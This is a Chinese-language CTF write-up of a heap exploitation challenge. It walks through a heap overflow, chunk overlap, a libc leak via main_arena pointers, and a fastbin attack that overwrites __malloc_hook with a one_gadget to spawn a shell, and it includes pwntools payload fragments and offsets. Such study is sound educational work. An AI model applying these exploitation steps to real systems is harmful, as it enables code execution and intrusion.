0x00 前言
前段时间在CTF-WIKI上面学习Fastbin Attack的时候遇到过这道题目,因为这道题目涉及了一些当时还未学到的知识,就略过了这道题目。今天在BUUCTF上又刷到了这道题目,知识储备也够做这道题目了。但依然遇到了一些小困难,这道题目细节还是挺多的。
题目可以去BUUCTF上面下载,也可以从CTF-WIKI上面的下载链接来下载下载链接
0x01 分析
1 | Arch: amd64-64-little |
题目的保护全开
1 | 1. Allocate |
题目共有5个功能
1. Allocate
该函数采用calloc的方式申请堆块,且申请size要小于等于4096。
malloc申请后空间的值是随机的,并没有进行初始化,而calloc却在申请后,对空间逐一进行初始化,并设置值为0。
该程序最多申请16个堆块,每次申请堆块时,会在一个地址( 这个地址每次运行都不一样,这个地址的生成算法在sub_B70函数 )附近存放该堆块的信息(是否申请,size,content指针)。
格式如下:
是否已申请? 1 : 0 |
---|
size |
content指针 |
2. Fill
该函数能实现无限写功能,存在堆溢出。
在这个函数里面,程序要求我们输入一个size,这个size不同于我们1. Allocate
里面要求输入的size。这是两个完全独立的变量,只不过名字都叫size。
3. Free
该函数能够进行释放堆块,free掉content指针,并且置为NULL
4. Dump
该函数会根据1. Allocate
里的size的大小来输出content指针所指向的内容,size多大就输出多少个字节的内容。
5. Exit
退出程序
基本思路
由于用来存放chunk信息的那块地址每次都不一样,不太好通过修改content指针进而修改其内容来偷梁换柱,而且程序是Full RELRO
,也没办法通过覆盖got表来getshell。
不过可以用__malloc_hook
或者__free_hook
。
本文采用__malloc_hook
,如果用__free_hook
原理一样。
其原理是:
malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 malloc_hook 让其指针不为空来执行我们所设置的函数来 getshell
首先,我们需要泄露libc地址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,这里借助smallbin的fd和bk指向main_arena来泄露libc基地址。
然后利用fastbin attack 将chunk分配到
__malloc_hook
附近,从而修改__malloc_hook
0x02 Let’s do it !
前期模板
1 | from pwn import * |
Leak libc
当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写能力
那么我们可以这样设置堆块。
1 | alloc(0x50)#0 |
堆块0大小没有严格要求,但别太离谱,这个堆块是用来修改chunk1的header的。
堆块1大小似乎必须是0x40,这是有目的的,后续会讲到。
堆块2需要是samllbin,这是为了通过unsorted bin泄露libc。
堆块3是为了不让堆块2和top chunk紧邻而申请的,大小和堆块0一样,没有严格要求,但别太离谱。
1 | 申请完以后布局如下 |
然后我们需要通过修改chunk1的size来实现chunk1的扩张,具体就是先修改size,然后free,然后再申请,因为这是fastbin,申请后还在这。需要扩张是因为dump函数是根据chunk的size来决定输出多少内容的。
扩张多少? 扩张到能够输出chunk2的fd和bk就行,也就是扩张0x20。那么chunk1的size需要改成0x71。
1 | payload = 'a'*0x50 + p64(0) + p64(0x71) |
借助fill函数里的无限写,很容易能实现扩张。
但是这里需要注意的是: 由于程序采用的calloc函数进行申请,会初始化所申请的堆块,也就是说,如果我们free(1),然后再申请回来1,因为已经扩张了,chunk2的header和data区的前0x10个字节都会被初始化为0。
一个细节(疑惑)
这里还有一个细节:
1 | payload = 'a'*0x10 + p64(0) + p64(0x71) |
这里还需要修改一下chunk2的内容,这样做有点伪造chunk的意思,后面这个p64(0x71)就在chunksize的位置。
这一步确实是需要有的,如果没有的话exp就会崩。
查阅了一些博客,大部分博主都说这一步的目的是Corrupting smallbin->size to pass allocation assert
,也就是绕过alloc的验证,不然过会free(1),alloc(0x60)会失败。
但是如果不加上这个p64(0x71),就连free(1)都会导致程序崩溃,这似乎和unlink有关?
0x71 被称为chunksize ,下面这段代码是malloc.c中的一段代码,如果fastbin_index (chunksize (victim)) != idx, 就会corruption, free的时候也会检查chunksize, 根据chunksize的大小,free相应的空间.
1 | if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) |
比较奇怪的是: p64(11) ,p64(61),p64(62),p64(111),p64(1111)还有一堆我试了试都可以,似乎只要大于等于11且不是太大都可以, 应该没必要非得是p64(71)吧?
继续
然后利用fastbin的特性,free然后alloc 实现堆块重叠
1 | free(1) |
然后给smallbin 恢复它的header
1 | payload = 'a'*0x40 + p64(0) + p64(0x91) |
然后free掉smallbin,这样它的fd和bk都会指向main_arena的一块地址
1 | free(2) |
来看一下效果
1 | 0x555555757000: 0x0000000000000000 0x0000000000000061 |
来看一下smallbin的fd和bk指向的是哪?
1 | 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555757160 |
可以看到 它们指向了main_arena + 88
而本地libc的加载地址是0x7ffff7a0d000
,而这个地址和smallbin的fd的偏移为0x3c4b78
1 | pwndbg> distance 0x7ffff7a0d000 0x7ffff7dd1b78 |
这个偏移无论是打远程还是本地,都是不变的,我们有了这个偏移以后,就可以通过dump出fd或者bk的值,然后减去偏移,就能得到libcbase。
用代码来实现即:
1 | dump(1) |
getshell
选取fake_chunk
首先要在__malloc_hook附近找到合适的地址伪造一个chunk用于fastbin double free
1 | malloc_hook = libc.symbols["__malloc_hook"]+libcbase |
注意这里为什么fake_chunk是 malloc_hook - 0x23 ?
我们来看__malloc_hook附近
1 | 0x7ffff7dd1ac0 <_IO_wide_data_0+256>: 0x0000000000000000 0x0000000000000000 |
很遗憾,如果我们直接选取malloc_hook -0x10 或 -0x20 、 -0x30、-0x40, 那么我们的fake_chunk的chunksize都只能是0,这肯定不是我们想要的结果。
由于fake_chunk指向的是chunk header,我们至少要从-0x10 开始往前找,找啊找啊,找到一个0x7f,这个可以做chunksize, 它对应的是malloc_hook - 0x23, 所以我们的 fake_chunk = malloc_hook - 0x23
就是这么来的。
来看一下效果
1 | 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f <-- chunksize |
fastbin double free
free掉chunk1以后修改其fd,让它的fd指向fakechunk,然后连续alloc两次就能拿到我们的fakechunk
1 | free(1) |
其实这里还有很多细节:
一些细节
我们在最开始的时候对于chunk1采用的alloc(0x40),加上header也就是0x51
,后来为了堆块重叠而进行了扩张,扩张了0x20
,也就变成了0x71
,再想想我们刚才在__malloc_hook
附近找了许多字节,只有0x7f
适合做fakechunk的chunksize,而当0x7f
做chunksize的时候,其数据域的大小正好就是0x60
,和我们扩张以后的chunk1的数据域大小保持一致,这为我们fastbin double free
创造了条件(都在同一个fastbin链表中)。
修改__malloc_hook 为execve(“/bin/sh”)
如何获取execve("/bin/sh")
?这里用到了one_gadget
这四个选一个吧,不过我这四个里面只有0x4526a能用。。。
然后就是偷梁换柱咯
1 | payload = 'a'*3 + p64(0) + p64(0) + p64(libcbase + 0x4526a) |
由于__malloc_hook
附近是这种结构
1 | memalign_hook |
所以那两个p64(0)分别对应memalign_hook和realloc_hook。
这样就能通过alloc一个chunk来触发malloc_hook里面我们修改的execve(“/bin/sh”)从而getshell了
1 | alloc(0x30)#这个大小随意,别太离谱就行 |
0x03 完整EXP
1 | from pwn import * |
0x04 参考链接
谢谢各位师傅们~通过这道题学到了很多。